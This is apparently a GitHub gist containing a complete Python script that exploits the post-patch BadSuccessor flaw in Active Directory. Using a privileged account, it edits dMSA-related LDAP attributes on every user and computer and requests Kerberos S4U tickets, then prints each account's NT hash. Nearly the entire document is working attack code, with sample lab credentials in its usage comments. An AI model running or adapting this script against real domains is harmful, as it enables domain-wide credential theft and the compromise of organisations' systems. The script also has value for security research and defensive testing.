Forked from ThePirateWhoSmellsOfSunflowers/badsuccessordumper_postpatch.py
Created
September 1, 2025 21:24
-
-
Save gavz/2d67e168306e9c504717886a583a994f to your computer and use it in GitHub Desktop.
Revisions
-
ThePirateWhoSmellsOfSunflowers created this gist
Aug 31, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,303 @@ import argparse import datetime import logging import os import random import struct import sys from binascii import hexlify, unhexlify from six import ensure_binary from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from pyasn1.type import tag from impacket.krb5 import constants from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.winregistry import hexdump from ldap3 import MODIFY_REPLACE, MODIFY_DELETE from pywerview.functions.net import NetRequester # This script retrieves NT hashes of all domain users and computers using a dMSA # Unlike the original script, this one needs privileged account. # See https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch for more info # and https://x.com/YuG0rd/status/1960819000084193399 # # Based on my previous script: https://gist.github.com/ThePirateWhoSmellsOfSunflowers/912c5728bde1a7eba4bc99ff06b3f73c # # Usage: # python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY -d essos.local -t 192.168.56.24 -i 'dmsa_essos$' # python badsuccessordumper_postpatch.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$ # python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$ # The last one is prone to error while asking for the TGT if RC4 is not suported by the DC # # Not tested in prod, use at your own risk # # @lowercase_drm / ThePirateWhoSmellsOfSunflowers def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) paencoded = None padatatype = None dmsa = True nonce_value = random.getrandbits(31) dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4) encoded_flags = encodeFlags(dmsa_flags) s4uID = S4UUserID() s4uID.setComponentByName('nonce', nonce_value) seq_set(s4uID, 'cname', clientName.components_to_asn1) s4uID.setComponentByName('crealm', domain) s4uID.setComponentByName('options', encoded_flags) encoded_s4uid = encoder.encode(s4uID) checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256) checkSum = checksum_profile.checksum( sessionKey, ApplicationTagNumbers.EncTGSRepPart.value, encoded_s4uid ) s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0)) s4uID_tagged.setComponentByName('nonce', nonce_value) seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1) s4uID_tagged.setComponentByName('crealm', domain) s4uID_tagged.setComponentByName('options', encoded_flags) pa_s4u_x509_user = PA_S4U_X509_USER() pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged) pa_s4u_x509_user['checksum'] = noValue pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256 pa_s4u_x509_user['checksum']['checksum'] = checkSum padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value) paencoded = encoder.encode(pa_s4u_x509_user) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = padatatype tgsReq['padata'][1]['padata-value'] = paencoded reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] try: # Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY) cipher = _enctype_table[int(tgs['enc-part']['etype'])] plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher']) encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']: logging.debug('No encrypted_pa_data found - DMSA key package not present') return for padata_entry in encTgsRepPart['encrypted_pa_data']: padata_type = int(padata_entry['padata-type']) logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type)) if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value: dmsa_key_package = decoder.decode( padata_entry['padata-value'], asn1Spec=KERB_DMSA_KEY_PACKAGE() )[0] dmsa_key_package.prettyPrint() logging.info('Current keys:') for key in dmsa_key_package['current-keys']: key_type = int(key['keytype']) key_value = bytes(key['keyvalue']) type_name = constants.EncryptionTypes(key_type) hex_key = hexlify(key_value).decode('utf-8') logging.info('%s:%s' % (type_name, hex_key)) logging.info('Previous keys:') previous_keys = [] for key in dmsa_key_package['previous-keys']: key_type = int(key['keytype']) key_value = bytes(key['keyvalue']) type_name = constants.EncryptionTypes(key_type) hex_key = hexlify(key_value).decode('utf-8') #print('%s:%s' % (type_name, hex_key)) previous_keys.append({type_name : hex_key}) except Exception as e: import traceback traceback.print_exc() return r, None, sessionKey, None, previous_keys def argparser(argv): arg_parser = argparse.ArgumentParser(prog='badsuccessordumper_postpatch.py', description='\n Domain dumper based on the Bad Successor vulnerability (post patch version)') arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA') arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA') arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain') arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname') arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH') arg_parser.add_argument('--aes', required=False, action='store', help='AES key') arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target') arg_parser.add_argument('--debug', action="store_true", help='Debug mode') args = arg_parser.parse_args(argv) if args.hashes: try: args.lmhash, args.nthash = args.hashes.split(':') except ValueError: args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes finally: args.password = str() else: args.lmhash = args.nthash = str() if args.password is None and not args.hashes: from getpass import getpass args.password = getpass('Password:') return args args = argparser(sys.argv[1:]) host=args.domain_controller user = args.user domain = args.domain password = args.password lmhash = args.lmhash nthash = args.nthash dmsa = args.dmsa debugprint = print if args.debug else lambda *a, **k: None kdcHost = host aesKey = args.aes attributes = ['distinguishedname', 'samaccountname', 'objectclass'] ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))' # As you may know, I love pywerview netrequester = NetRequester(host, domain, user, password, lmhash, nthash) ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa) dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter) try: dmsa_dn = dmsa_raw[0].distinguishedname debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn)) except IndexError: print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user)) sys.exit(1) raw_user = netrequester.get_netuser(attributes=attributes) raw_computer = netrequester.get_netcomputer(attributes=attributes) debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer))) # Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT if aesKey: lmhash = nthash = str() user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost) targets = raw_user + raw_computer for target in targets: # unfortunately, post-patch, we can't dump dmsa if 'msDS-DelegatedManagedServiceAccount' in target.objectclass: continue netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]}) # Here comes the twist. # According to this link: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview # Attributes are msDS-SupersededManagedServiceAccountLink and msDS-SupersededAccountState. # Turns out attributes are msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState, ¯\_(ツ)_/¯ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/c5b9ddb6-a9dd-4bdc-9a68-775fb346f21e netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_REPLACE, [dmsa_dn])]}) netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_REPLACE, [2])]}) tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa) sessionKey = oldSessionKey netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_DELETE, [2])]}) netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_DELETE, [dmsa_dn])]}) for key in previous_keys: try: print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac])) break except: # Computer accounts have also AES in the previous keys array, ignoring them for now pass